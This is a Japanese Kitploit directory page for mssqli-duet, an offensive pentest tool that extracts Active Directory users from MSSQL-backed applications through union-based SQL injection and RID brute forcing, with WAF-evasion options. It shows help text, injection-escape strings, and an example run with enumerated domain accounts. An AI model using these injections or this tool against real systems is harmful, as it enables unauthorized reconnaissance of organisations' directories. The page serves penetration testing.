Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
mssqli-duet — Active Directory環境においてRIDブルートフォースに基づいてドメインユーザーを抽出するMSSQL用SQLインジェクションスクリプト | Kitploit
ツール/GitHubGitHub/keramas/mssqli-duet
情報収集WAFバイパスペネトレーションテスト
GitHubkeramas/mssqli-duet

mssqli-duet

Active Directory環境においてRIDブルートフォースに基づいてドメインユーザーを抽出するMSSQL用SQLインジェクションスクリプト

リポジトリを見る
90186年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MSSQLi-DUET - MSSQLインジェクションベースのドメインユーザー列挙ツール

MSSQL用のSQLインジェクションスクリプトで、RIDブルートフォースに基づいてActive Directory環境からドメインユーザーを抽出します。SQLmapのtamper関数の実装を通じて、さまざまなWAF回避手法をサポートします。状況や環境に応じて、ユーザーが追加のtamper関数を組み込むこともできます。

Pythonスクリプト(ターミナル用)とBurp Suiteプラグイン(シンプルなGUIナビゲーション用)の2つのフレーバーがあります。

現時点ではユニオンベースのインジェクションのみをサポートしています。ツールの機能と精度を完全にテストするには、さらに多くのサンプルとテストケースが必要です。動作しない状況に遭遇した場合は、フィードバックやコメントを大歓迎します。

また、スクリプトやプラグインをニーズに合わせてカスタマイズすることもそれほど難しくありません。トラブルシューティングについては、注意事項のセクションを必ずお読みください。

Burp Suiteプラグイン

プラグインをBurp Suiteにロードした後、リクエストを右クリックしてMSSQLi-DUETに送信します。パラメータなどの詳細は以下で説明します。

リクエストはリクエストウィンドウに表示され、その上のフィールドのみに入力する必要があります。実行ボタンを押すと、結果が出力ボックスに配置され、簡単にコピー&ペーストできます。

Pythonスクリプトの使用方法

スクリプトヘルプ

root@kitploit:~
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
                      RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
                      [-o OUTFILE] -r REQUEST_FILE

MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool

optional arguments:
  -h, --help            show this help message and exit
  -i INJECTION, --injection INJECTION
                        Injection point. Provide only the data needed to
                        escape the query.
  -e ENCODING, --encoding ENCODING
                        Type of encoding: unicode, doubleencode, unmagicquotes
  -t TIME_DELAY, --time_delay TIME_DELAY
                        Time delay for requests.
  -rid RID_RANGE, --rid_range RID_RANGE
                        Hypenated range of RIDs to bruteforce. Ex: 1000-1200
  -ssl SSL, --ssl SSL   Add flag for HTTPS
  -p PARAMETER, --parameter PARAMETER
                        Vulnerable parameter
  -proxy PROXY, --proxy PROXY
                        Proxy connection string. Ex: 127.0.0.1:8080
  -o OUTFILE, --outfile OUTFILE
                        Outfile for username enumeration results.
  -r REQUEST_FILE, --request_file REQUEST_FILE
                        Raw request file saved from Burp

Prepare to be enumerated!

使用方法

アプリケーションでユニオンベースのSQLインジェクションを特定した後、Burp Suiteの「ファイルにコピー」機能を使用して生のリクエストをコピーします。

保存したリクエストを-rフラグを付けてDUETに渡します。脆弱なパラメータとインジェクションポイントを指定します。例として、パラメータ"element"がSQLインジェクションに対して脆弱な場合、-pは"element"になります。DUETはすべてのSQLインジェクションクエリを自動的に構築しますが、初期インジェクションの指定を提供する必要があります。つまり、パラメータデータの後の一重引用符が原因でインジェクションが発生する場合、それが-i引数で指定するものです。

root@kitploit:~
例: test' 
    test'))
    test")"

例

root@kitploit:~
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded


[+] Determining the number of columns in the table...
        [!] Number of columns is  3
[+] Determining column type...
        [!] Column type is null
[+] Discovering domain name...
        [+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-

[+] Enumerating Active Directory via SIDs...

NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql

注意事項

スクリプトは、発見された列のキャストと型の制限に応じて変更する必要がある場合があります。 これには、ペイロードの列位置を切り替える変更や、エラーを生成しない列タイプに対応するためのクエリ文字列自体の変更が含まれます。

さらに、現在の列数を決定するロジックは最良ではなく、適切な決定が行われるようにするには、特定の比較をコメントアウトする必要がある場合があります。

全体的に、Burpで送信されているリクエストを確認し、遭遇したSQLインジェクション環境に合わせてスクリプトを調整してください。

参考資料

https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

ツールをダウンロード